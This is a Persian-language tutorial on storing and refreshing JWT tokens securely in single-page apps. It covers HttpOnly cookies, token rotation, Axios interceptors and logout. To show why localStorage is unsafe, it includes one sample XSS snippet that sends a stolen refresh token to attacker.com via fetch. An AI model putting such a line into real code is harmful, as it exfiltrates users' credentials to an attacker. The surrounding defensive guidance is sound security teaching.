مقدمه
در اپلیکیشنهای مدرن وب — مخصوصاً SPAهایی مثل React، Vue، Next.js و سایر فریمورکهای فرانتاند — احراز هویت معمولاً بر پایهٔ توکنها (معمولاً JWT) انجام میشود.
این یعنی بعد از لاگین، سرور بهجای سشن سنتی، یک یا چند توکن در اختیار کلاینت قرار میدهد:
- Access Token برای احراز هویت هر درخواست
- Refresh Token برای تمدید امن Access Token بدون نیاز به لاگین مجدد
چالش اصلی اینجاست:
این توکنها را کجا و چگونه در فرانتاند نگه داریم که هم امن باشد هم تجربهٔ کاربری خوبی بدهد؟
در این مقاله، با تمرکز روی رفرشتوکن، معماری صحیح، ریسکها، و پیادهسازی عملی آن در فرانتاند را بررسی میکنیم.
مفاهیم پایه: Access Token و Refresh Token
Access Token چیست؟
- یک توکن با عمر کوتاه (مثلاً ۵ تا ۱۵ دقیقه)
- همراه هر درخواست به سرور ارسال میشود (معمولاً در هدر
Authorization: Bearer <token>) - اگر دزدیده شود، مهاجم میتواند تا زمانی که منقضی نشده، از آن استفاده کند.
Refresh Token چیست؟
Refresh Token یک توکن بلندمدت و بسیار حساس است که فقط یک وظیفه دارد:
صادر کردن یک Access Token جدید، بدون اینکه کاربر دوباره لاگین کند.
یعنی تا زمانی که Refresh Token معتبر است، کاربر میتواند:
- تب مرورگر را ببندد و دوباره برگردد
- بعد از چند ساعت یا چند روز، بدون لاگین مجدد به اپلیکیشن دسترسی داشته باشد
چرا اصلاً به Refresh Token نیاز داریم؟
اگر فقط Access Token داشته باشیم، دو انتخاب بیشتر نداریم:
- عمر کوتاه بدهیم → کاربر مرتب لاگین میخواهد → تجربهٔ کاربری بد
- عمر طولانی بدهیم → اگر لو برود، مهاجم مدت زیادی دسترسی دارد → امنیت پایین
Refresh Token این تعارض را حل میکند:
- Access Token → عمر کوتاه → کاهش ریسک
- Refresh Token → عمر بلندتر → حفظ تجربهٔ کاربری
تفاوت Access Token و Refresh Token
| ویژگی | Access Token | Refresh Token |
|---|---|---|
| هدف | احراز هویت هر درخواست | صدور Access Token جدید |
| عمر | کوتاه (دقیقهها) | بلند (ساعتها، روزها یا بیشتر) |
| محل استفاده | همراه با هر request | فقط در endpoint رفرش (مثلاً /auth/refresh) |
| محل نگهداری پیشنهادی | حافظهٔ موقت (Memory) یا Secure Storage | کوکی HttpOnly امن روی دامنهٔ بکاند |
| ریسک در صورت سرقت | متوسط | بسیار بالا (امکان ساخت Access Tokenهای متعدد) |
چرخهٔ کامل احراز هویت مبتنی بر Refresh Token
یک فلو ساده را در نظر بگیریم:
-
لاگین
- کاربر نام کاربری/رمز عبور را ارسال میکند.
- سرور:
- یک Access Token برمیگرداند.
- یک Refresh Token را در قالب کوکی HttpOnly + Secure ست میکند.
-
درخواستهای عادی
- فرانتاند Access Token را (از حافظه) خوانده و در هدر
Authorizationقرار میدهد. - سرور توکن را بررسی کرده و در صورت اعتبار، درخواست را انجام میدهد.
- فرانتاند Access Token را (از حافظه) خوانده و در هدر
-
منقضی شدن Access Token
- سرور روی درخواستها، خطای 401 Unauthorized برمیگرداند.
- فرانتاند تشخیص میدهد توکن منقضی شده است.
- یک درخواست به
/auth/refreshارسال میکند (Refresh Token بهطور خودکار از طریق کوکی فرستاده میشود).
-
صدور توکن جدید
- سرور Refresh Token را اعتبارسنجی میکند.
- اگر معتبر باشد:
- یک Access Token جدید برمیگرداند.
- معمولاً یک Refresh Token جدید هم صادر میکند (Token Rotation).
- فرانتاند Access Token جدید را جایگزین قبلی کرده و درخواست قبلی را تکرار میکند.
-
خروج (Logout)
- فرانتاند درخواست
POST /auth/logoutارسال میکند. - سرور Refresh Token را در دیتابیس باطل میکند و کوکی را خالی یا منقضی میکند.
- فرانتاند درخواست
چرا نباید Refresh Token را در localStorage ذخیره کنیم؟
خیلیها در ابتدای کار این کار را میکنند:
// اشتباه و ناامن
localStorage.setItem("refresh_token", REFRESH_TOKEN);
مشکل اصلی اینجاست: localStorage از طریق جاوااسکریپت قابل دسترسی است.
اگر اپلیکیشن شما حتی یک ضعف کوچک XSS داشته باشد، مهاجم میتواند با یک اسکریپت ساده تمام توکنها را بدزدد:
// نمونه حمله XSS
const refreshToken = localStorage.getItem("refresh_token");
fetch("https://attacker.com/steal?rt=" + encodeURIComponent(refreshToken));
بعد از این اتفاق، مهاجم میتواند:
- در سیستم کاربر، روی هر دستگاه و هر مرورگری، Access Token جدید صادر کند.
- کاربر را لاگاوت کنید، باز هم مهاجم با Refresh Token دزدیدهشده میتواند Access Token جدید بگیرد.
به همین دلیل:
نگهداری Refresh Token در localStorage یا sessionStorage بهشدت توصیه نمیشود.
بهترین روش نگهداری توکنها در فرانتاند
یک الگوی بسیار متداول و امن برای SPAها:
-
Access Token در حافظه (Memory)
- مثلاً در:
- یک متغیر ساده جاوااسکریپت
- Context/State Manager (مانند Redux، Zustand، Pinia، MobX)
- با رفرش کامل صفحه از بین میرود → اما Refresh Token کمک میکند مجدداً توکن دریافت شود.
- مثلاً در:
-
Refresh Token در HttpOnly Secure Cookie
- ستشده توسط سرور روی دامنهٔ بکاند
- ویژگیهای مهم:
HttpOnly→ از سمت جاوااسکریپت قابل خواندن نیست → در برابر XSS مقاومترSecure→ فقط روی HTTPS ارسال میشودSameSite=StrictیاLax→ کاهش احتمال CSRF
مثال هدر Set-Cookie سمت سرور
(نمونهٔ تقریبی پاسخ لاگین)
Set-Cookie: refresh_token=<token_value>;
HttpOnly;
Secure;
Path=/auth/refresh;
SameSite=Strict;
Max-Age=1209600
Path=/auth/refreshیعنی این کوکی فقط در درخواستهای مربوط به رفرش ارسال شود.SameSite=Strictیعنی در درخواستهای Cross-Site ارسال نشود (کاهش ریسک CSRF).
معماری Token Rotation چیست و چرا مهم است؟
Token Rotation یعنی:
هر بار که از Refresh Token برای گرفتن Access Token جدید استفاده میکنید، یک Refresh Token جدید هم صادر شده و قبلی باطل شود.
مزیتها:
- اگر مهاجم یک Refresh Token قدیمی را بدزدد، بعد از اولین استفادهٔ شما، آن توکن بیاعتبار میشود.
- در صورت مشاهدهٔ استفادهٔ همزمان از یک Refresh Token (مثلاً از دو IP مختلف)، سرور میتواند متوجه نشت توکن شود و کل سشن را ببندد.
فلو سادهٔ Token Rotation
- کاربر با Refresh Token شماره ۱ → درخواست
/auth/refreshرا میزند. - سرور:
- Refresh Token شماره ۱ را باطل میکند.
- Access Token جدید + Refresh Token شماره ۲ صادر میکند.
- بار بعد، فقط Refresh Token شماره ۲ معتبر خواهد بود.
پیادهسازی عملی در فرانتاند (با Axios)
۱. نگهداری Access Token در حافظه
میتوانیم یک ماژول ساده برای مدیریت توکن داشته باشیم:
// authStore.js
let accessToken = null;
export function setAccessToken(token) {
accessToken = token;
}
export function getAccessToken() {
return accessToken;
}
export function clearAccessToken() {
accessToken = null;
}
در لاگین:
import axios from "axios";
import { setAccessToken } from "./authStore";
export async function login(email, password) {
const res = await axios.post("/auth/login", { email, password }, {
withCredentials: true, // برای ارسال و دریافت کوکی HttpOnly
});
setAccessToken(res.data.access_token);
}
توجه: Refresh Token در پاسخ لاگین بهصورت کوکی HttpOnly روی دامنهٔ بکاند ست میشود و فرانتاند مستقیم آن را نمیبیند.
۲. افزودن Access Token به درخواستها (Request Interceptor)
import axios from "axios";
import { getAccessToken } from "./authStore";
const api = axios.create({
baseURL: "/api",
withCredentials: true, // برای ارسال کوکی رفرش در صورت نیاز
});
api.interceptors.request.use((config) => {
const token = getAccessToken();
if (token) {
config.headers.Authorization = `Bearer ${token}`;
}
return config;
});
export default api;
۳. هندل کردن 401 و رفرش خودکار توکن (Response Interceptor)
این بخش قلب سیستم رفرش در فرانتاند است:
import api from "./api";
import { setAccessToken, clearAccessToken } from "./authStore";
let isRefreshing = false;
let pendingRequests = [];
function subscribeTokenRefresh(callback) {
pendingRequests.push(callback);
}
function onRefreshed(newToken) {
pendingRequests.forEach((cb) => cb(newToken));
pendingRequests = [];
}
async function refreshToken() {
const res = await api.post("/auth/refresh"); // کوکی HttpOnly بهصورت خودکار ارسال میشود
const newAccessToken = res.data.access_token;
setAccessToken(newAccessToken);
return newAccessToken;
}
api.interceptors.response.use(
(response) => response,
async (error) => {
const originalRequest = error.config;
// اگر 401 بود و قبلاً برای این درخواست رفرش انجام نشده
if (error.response?.status === 401 && !originalRequest._retry) {
originalRequest._retry = true;
if (!isRefreshing) {
isRefreshing = true;
try {
const newToken = await refreshToken();
isRefreshing = false;
onRefreshed(newToken);
// درخواست اصلی را با توکن جدید تکرار میکنیم
originalRequest.headers.Authorization = `Bearer ${newToken}`;
return api(originalRequest);
} catch (err) {
isRefreshing = false;
clearAccessToken();
// اینجا میتوانیم کاربر را به صفحه لاگین بفرستیم
// window.location.href = "/login";
return Promise.reject(err);
}
}
// اگر رفرش در حال انجام است، درخواست را در صف نگه میداریم
return new Promise((resolve) => {
subscribeTokenRefresh((newToken) => {
originalRequest.headers.Authorization = `Bearer ${newToken}`;
resolve(api(originalRequest));
});
});
}
return Promise.reject(error);
}
);
نکات مهم این پیادهسازی:
- فقط یک درخواست
/auth/refreshدر لحظه ارسال میشود. - سایر درخواستهایی که هنگام منقضیشدن توکن خطای 401 میخورند، در صف
pendingRequestsمنتظر میمانند. - پس از رفرش موفق، همهٔ درخواستها با توکن جدید دوباره ارسال میشوند.
مدیریت لاگاوت امن در فرانتاند
هنگام خروج کاربر:
- در فرانتاند، Access Token را پاک میکنیم.
- یک درخواست به بکاند برای باطلسازی Refresh Token میفرستیم.
- بکاند:
- Refresh Token را در دیتابیس یا Redis باطل میکند.
- کوکی رفرش را خالی یا منقضی میکند.
نمونهٔ فانکشن logout در فرانتاند:
import api from "./api";
import { clearAccessToken } from "./authStore";
export async function logout() {
try {
await api.post("/auth/logout");
} finally {
clearAccessToken();
// window.location.href = "/login";
}
}
نکات ویژه برای فریمورکهای SSR مثل Next.js
در اپهایی مثل Next.js که هم سمت سرور و هم سمت کلاینت رندر دارند:
- نگهداری Refresh Token در HttpOnly Cookie همچنان بهترین گزینه است.
- در API Routeها (یا Route Handlers) میتوانید Refresh Token را از کوکی بخوانید و آن را مدیریت کنید.
- Access Token را:
- برای رندر سمت سرور، از کوکی/هدرها گرفته و فقط به صورت امن به کلاینت پاس دهید (مثلاً از طریق props فقط حاوی اطلاعات ضروری).
- یا کل منطق رفرش را در سمت سرور نگه دارید و فرانتاند فقط با سشن امن تعامل داشته باشد.
چکلیست نهایی برای امنیت Refresh Token در فرانتاند
برای جمعبندی، این چکلیست را میتوانید معیار معماری خود قرار دهید:
- عدم ذخیره Refresh Token در localStorage / sessionStorage
- استفاده از HttpOnly + Secure Cookie برای Refresh Token
- نگهداری Access Token در حافظه (و نه در کوکی یا localStorage)
- پیادهسازی Token Rotation در بکاند
- استفاده از
SameSite=StrictیاLaxبرای کاهش CSRF - اعمال HTTPS اجباری در محیطهای واقعی
- افزودن لایهٔ رفرش خودکار در فرانتاند (Interceptor برای 401)
- پیادهسازی Logout امن همراه با باطلسازی Refresh Token در سرور
- مانیتورینگ لاگها برای تشخیص استفادهٔ مشکوک از Refresh Tokenها
جمعبندی
رفرشتوکن یکی از مهمترین بخشهای معماری احراز هویت مدرن در اپلیکیشنهای فرانتاند است.
بدون استفاده درست از آن، یا باید Access Token طولانیمدت و ناامن داشته باشیم، یا باید کاربر را مدام مجبور به لاگین مجدد کنیم.
با الگوی زیر میتوانیم بین امنیت و تجربهٔ کاربری تعادل خوبی برقرار کنیم:
- Access Token با عمر کوتاه + نگهداری در حافظه
- Refresh Token بلندمدت + نگهداری در HttpOnly Secure Cookie
- Token Rotation برای کاهش ریسک نشت توکن
اگر این الگو را در پروژهات پیادهسازی کنی، یک لایهٔ امنیتی بسیار مهم به سیستم اضافه کردهای، بدون اینکه کاربر تحت فشار تجربهٔ بد قرار بگیرد.
